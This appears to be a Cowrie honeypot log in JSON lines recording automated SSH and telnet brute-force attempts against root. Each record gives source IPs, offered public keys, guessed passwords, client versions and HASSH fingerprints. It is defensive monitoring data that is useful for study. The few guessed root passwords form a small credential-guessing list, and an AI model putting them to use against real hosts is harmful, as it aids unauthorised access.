{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:da:6f:3e:cd:72:7a:33:fa:46:e4:f3:16:db:36:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI9Y56ycdBCnTlsvj4/t9duG1P9WSTGF8lcdyb6fXyQaeB0Hw4fXT0fGsSpMscsaYzOkDf54DUwL7GUpl8ohupFJZ/e/49NBcB9q2EnfijbIgUC3VcZWdsHqoKheFScvpeqYv6c7q/XjNb3YhisC+MHAOx0x1RoTa1R493odZ4cV0ubknEMbCHGTNWRe6sfD4eqO+bOukMWtiPQNNy9FFKe/CWMER9gW/+LLVDWDImQ+HpBbuZXcmdBPd93X9zKEED7DaQRzu22IT/IhBSTyXXoea1d23EZdpzdIOFnRHXET6cMX9X8zuLr1vRrCemUWoN6cOZfoqQoeajLLI8v1Q3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:28.943944Z","src_ip":"188.44.20.33","session":"70b02aee72e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:aa:c2:54:d2:00:03:77:51:e9:27:a6:aa:bc:11:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqkbOaBiCMewlTBSbUEuyw5BLjy8K6bCLHt8A9j9WAtmmgFL/tYNKbsnLnFadfIv1RhIxGxWQlp27OreyI4C3r65uXKDor3x+ayRAwuFDBySNphqssPaTMF5SRWoDAQXjE0wwYuD69Fh8/R6Rd8snIaLvVbgCdFDM1KX4wl8cQfhQ8Eh72VFCMFW/0Z2n6XYkfEjAaT6kaRnUU3wQDAu2P/87AHJpJNyZypj+ZUVeaM4cR7oCXVVGHg8SDYGhl/l9HUdIeLDLuOz2aabDHhcOLbDb3wWuRxStOzYk3HjKq/ruk4Qf711TDz797I5ba+y32cj0JIqsT4QbdPo2t8NKMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:aa:c2:54:d2:00:03:77:51:e9:27:a6:aa:bc:11:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:29.076672Z","src_ip":"188.44.20.33","session":"70b02aee72e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:aa:c2:54:d2:00:03:77:51:e9:27:a6:aa:bc:11:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqkbOaBiCMewlTBSbUEuyw5BLjy8K6bCLHt8A9j9WAtmmgFL/tYNKbsnLnFadfIv1RhIxGxWQlp27OreyI4C3r65uXKDor3x+ayRAwuFDBySNphqssPaTMF5SRWoDAQXjE0wwYuD69Fh8/R6Rd8snIaLvVbgCdFDM1KX4wl8cQfhQ8Eh72VFCMFW/0Z2n6XYkfEjAaT6kaRnUU3wQDAu2P/87AHJpJNyZypj+ZUVeaM4cR7oCXVVGHg8SDYGhl/l9HUdIeLDLuOz2aabDHhcOLbDb3wWuRxStOzYk3HjKq/ruk4Qf711TDz797I5ba+y32cj0JIqsT4QbdPo2t8NKMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:29.080114Z","src_ip":"188.44.20.33","session":"70b02aee72e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:9f:50:47:3f:b0:65:36:c7:d7:14:b0:b6:0f:e7:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBIBz9NcLVGfZ2wdpevCTNV6BkCNbwGYJgDoNglM779lJNLQcWvGgX6l8ptK16buP7N+GnXcQrUXzoegZqWr/sLofOFr5RYasPoo/A4tbqUTeqOS9QxE0Uj9MwD8PBqTwU87cUkscObkKdDakBOLO/oX4jmf1vpgQnhDmSagJWwpSMiId8cUBoUl6dQscBL+y4uirKzEmdEaDFziMfe/xmSXgi39VDARE8iHzCO8+qlbJt/KaGilyBnxDhHg9OA8svxjMHNB+LyireyIgN/+iSzkVq+bmKZMJ7U1mYIPcPFv34WgL8ZYbAV+y3PYI/ng3sMKyLBOjTkocu0y4OZQin","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:9f:50:47:3f:b0:65:36:c7:d7:14:b0:b6:0f:e7:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:29.211808Z","src_ip":"188.44.20.33","session":"70b02aee72e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:9f:50:47:3f:b0:65:36:c7:d7:14:b0:b6:0f:e7:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBIBz9NcLVGfZ2wdpevCTNV6BkCNbwGYJgDoNglM779lJNLQcWvGgX6l8ptK16buP7N+GnXcQrUXzoegZqWr/sLofOFr5RYasPoo/A4tbqUTeqOS9QxE0Uj9MwD8PBqTwU87cUkscObkKdDakBOLO/oX4jmf1vpgQnhDmSagJWwpSMiId8cUBoUl6dQscBL+y4uirKzEmdEaDFziMfe/xmSXgi39VDARE8iHzCO8+qlbJt/KaGilyBnxDhHg9OA8svxjMHNB+LyireyIgN/+iSzkVq+bmKZMJ7U1mYIPcPFv34WgL8ZYbAV+y3PYI/ng3sMKyLBOjTkocu0y4OZQin","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:29.215808Z","src_ip":"188.44.20.33","session":"70b02aee72e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:35:56:d5:0b:fb:77:79:a0:37:f1:dc:1f:cd:5e:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1crI96U4BAsoMFzq9Z7LJVYwx2bJX0U6rmfBXS9rRK7OjNJHbr8WIh5cP+xoOJ+Ms33LdFnznpSzew40jPbz784ecJRlLzeHGxokD/R5hqQ9vNnsXw00sWycPSEYhMezmGLHmNpF6Vm7HK61LPQrFF4Y7oItqWQpmMNNEtEXsMx/iCke8kYgGDrfgrLkMrA03nzyZHKANIQBbbJ5YBEUIT7POmecypW/PquoTJhBsaLtQ7Mciz1tBUWiG/Swe4CnobiBuERZu1Wt24Hj+79o6m6xr5k8i2l9RGe0qO39ngFkvOaiNsTXnf/AR432YsOpuKgL1wxVT5iiZSimLBrHT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:35:56:d5:0b:fb:77:79:a0:37:f1:dc:1f:cd:5e:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:29.353543Z","src_ip":"188.44.20.33","session":"70b02aee72e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:35:56:d5:0b:fb:77:79:a0:37:f1:dc:1f:cd:5e:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1crI96U4BAsoMFzq9Z7LJVYwx2bJX0U6rmfBXS9rRK7OjNJHbr8WIh5cP+xoOJ+Ms33LdFnznpSzew40jPbz784ecJRlLzeHGxokD/R5hqQ9vNnsXw00sWycPSEYhMezmGLHmNpF6Vm7HK61LPQrFF4Y7oItqWQpmMNNEtEXsMx/iCke8kYgGDrfgrLkMrA03nzyZHKANIQBbbJ5YBEUIT7POmecypW/PquoTJhBsaLtQ7Mciz1tBUWiG/Swe4CnobiBuERZu1Wt24Hj+79o6m6xr5k8i2l9RGe0qO39ngFkvOaiNsTXnf/AR432YsOpuKgL1wxVT5iiZSimLBrHT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:29.360013Z","src_ip":"188.44.20.33","session":"70b02aee72e7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:e4:6f:8d:d7:7e:9b:e7:27:16:87:c1:50:ab:74:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3iK+ojxE8ISoxrySq8OrnP8cMiVJx/uD7kF6K9f2WlRui2zGtsX5G4W7IdABuHKcgV55RvQG72ms5sIfIJsNzsIgAFZK8BigCbT4cQhDN4Ssd6WrM5gAHD34D+RajOM5IyC6ZAV0iJHrJMzGiBAA8AMRoUfsFF7XDsZI0VoIwYABUvYaVIV6+CHgQ5loEmHUfxF1dfErQNwuZ9rdWm+Obdvymc9op6WuMyaET4y2zW+zoMCCoYBHE5yb8I8rBwx4OnGZNkvfdGyjNPmMuhpEUwqyrusvMn0px6iDWhzg8o57W3Dnn+zPt0cm4oi4AGGtg/f62Hd+4WEuUBPPQJKhmilUqEBv1EAHXGsil42HZ6FgvrECTPcPooKrB3gYCpUi4oZJxQ/kPk9CWr3iw/CQtASBAqPZhndinfpNmJXwmWhsAzhdCCueyOL/NX9cA+lgdfHir/W1QHIMoovkgIqtjHA6egpwoyaGpudlTeoaKArzk0sOuzWuuBmbt95WPGVs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:e4:6f:8d:d7:7e:9b:e7:27:16:87:c1:50:ab:74:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:29.492095Z","src_ip":"188.44.20.33","session":"70b02aee72e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:e4:6f:8d:d7:7e:9b:e7:27:16:87:c1:50:ab:74:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3iK+ojxE8ISoxrySq8OrnP8cMiVJx/uD7kF6K9f2WlRui2zGtsX5G4W7IdABuHKcgV55RvQG72ms5sIfIJsNzsIgAFZK8BigCbT4cQhDN4Ssd6WrM5gAHD34D+RajOM5IyC6ZAV0iJHrJMzGiBAA8AMRoUfsFF7XDsZI0VoIwYABUvYaVIV6+CHgQ5loEmHUfxF1dfErQNwuZ9rdWm+Obdvymc9op6WuMyaET4y2zW+zoMCCoYBHE5yb8I8rBwx4OnGZNkvfdGyjNPmMuhpEUwqyrusvMn0px6iDWhzg8o57W3Dnn+zPt0cm4oi4AGGtg/f62Hd+4WEuUBPPQJKhmilUqEBv1EAHXGsil42HZ6FgvrECTPcPooKrB3gYCpUi4oZJxQ/kPk9CWr3iw/CQtASBAqPZhndinfpNmJXwmWhsAzhdCCueyOL/NX9cA+lgdfHir/W1QHIMoovkgIqtjHA6egpwoyaGpudlTeoaKArzk0sOuzWuuBmbt95WPGVs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:29.496205Z","src_ip":"188.44.20.33","session":"70b02aee72e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:29.629756Z","src_ip":"188.44.20.33","session":"70b02aee72e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39046,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2d66877a0a1","protocol":"telnet","message":"New connection: 152.42.224.71:39046 (10.17.0.5:23) [session: d2d66877a0a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:30.148474Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53448,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c10518e9abc","protocol":"ssh","message":"New connection: 103.153.68.219:53448 (10.17.0.5:22) [session: 4c10518e9abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:30.707933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:30.713078Z","src_ip":"103.153.68.219","session":"4c10518e9abc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:30.966992Z","src_ip":"103.153.68.219","session":"4c10518e9abc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc4rfv","message":"login attempt [root/1qaz2wsx3edc4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:31.727382Z","src_ip":"103.153.68.219","session":"4c10518e9abc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39060,"dst_ip":"10.17.0.5","dst_port":23,"session":"747710770729","protocol":"telnet","message":"New connection: 152.42.224.71:39060 (10.17.0.5:23) [session: 747710770729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:32.881052Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:32.983497Z","src_ip":"103.153.68.219","session":"4c10518e9abc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":48702,"dst_ip":"10.17.0.5","dst_port":22,"session":"47ffe23b420d","protocol":"ssh","message":"New connection: 109.172.54.111:48702 (10.17.0.5:22) [session: 47ffe23b420d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:33.236487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:33.239963Z","src_ip":"109.172.54.111","session":"47ffe23b420d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:33.338309Z","src_ip":"109.172.54.111","session":"47ffe23b420d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11112222","message":"login attempt [root/11112222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:33.638824Z","src_ip":"109.172.54.111","session":"47ffe23b420d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:34.746822Z","src_ip":"109.172.54.111","session":"47ffe23b420d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51214,"dst_ip":"10.17.0.5","dst_port":23,"session":"15a0600e43ea","protocol":"telnet","message":"New connection: 152.42.224.71:51214 (10.17.0.5:23) [session: 15a0600e43ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:36.216267Z"}
{"eventid":"cowrie.session.closed","duration":81.91152167320251,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:37.126045Z","src_ip":"152.42.224.71","session":"140a2052aa30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":35594,"dst_ip":"159.203.135.109","dst_port":22,"session":"952f83c6d762","protocol":"ssh","message":"New connection: 68.183.236.1:35594 (159.203.135.109:22) [session: 952f83c6d762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:42.197949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:42.203186Z","src_ip":"68.183.236.1","session":"952f83c6d762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:42.447606Z","src_ip":"68.183.236.1","session":"952f83c6d762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":36154,"dst_ip":"159.203.135.109","dst_port":22,"session":"804c42bb1631","protocol":"ssh","message":"New connection: 43.133.34.13:36154 (159.203.135.109:22) [session: 804c42bb1631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:42.952554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:42.956771Z","src_ip":"43.133.34.13","session":"804c42bb1631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51230,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd01e80cfe51","protocol":"telnet","message":"New connection: 152.42.224.71:51230 (10.17.0.5:23) [session: cd01e80cfe51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:42.992790Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:43.194935Z","src_ip":"43.133.34.13","session":"804c42bb1631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51234,"dst_ip":"10.17.0.5","dst_port":23,"session":"41554ef255c8","protocol":"telnet","message":"New connection: 152.42.224.71:51234 (10.17.0.5:23) [session: 41554ef255c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:43.357585Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"monica123","message":"login attempt [root/monica123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:43.458899Z","src_ip":"68.183.236.1","session":"952f83c6d762","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s123456","message":"login attempt [root/s123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:44.178998Z","src_ip":"43.133.34.13","session":"804c42bb1631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:44.712660Z","src_ip":"68.183.236.1","session":"952f83c6d762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:45.419098Z","src_ip":"43.133.34.13","session":"804c42bb1631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.79678559303284,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:49.179733Z","src_ip":"152.42.224.71","session":"46bdac881870","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.33504867553711,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:42:52.859138Z","src_ip":"152.42.224.71","session":"685429c432de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39192,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e567d04df53","protocol":"telnet","message":"New connection: 152.42.224.71:39192 (10.17.0.5:23) [session: 3e567d04df53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:00.507807Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39202,"dst_ip":"10.17.0.5","dst_port":23,"session":"15259b223a85","protocol":"telnet","message":"New connection: 152.42.224.71:39202 (10.17.0.5:23) [session: 15259b223a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:05.253672Z"}
{"eventid":"cowrie.session.closed","duration":32.64360570907593,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:43:05.524527Z","src_ip":"152.42.224.71","session":"747710770729","protocol":"telnet"}
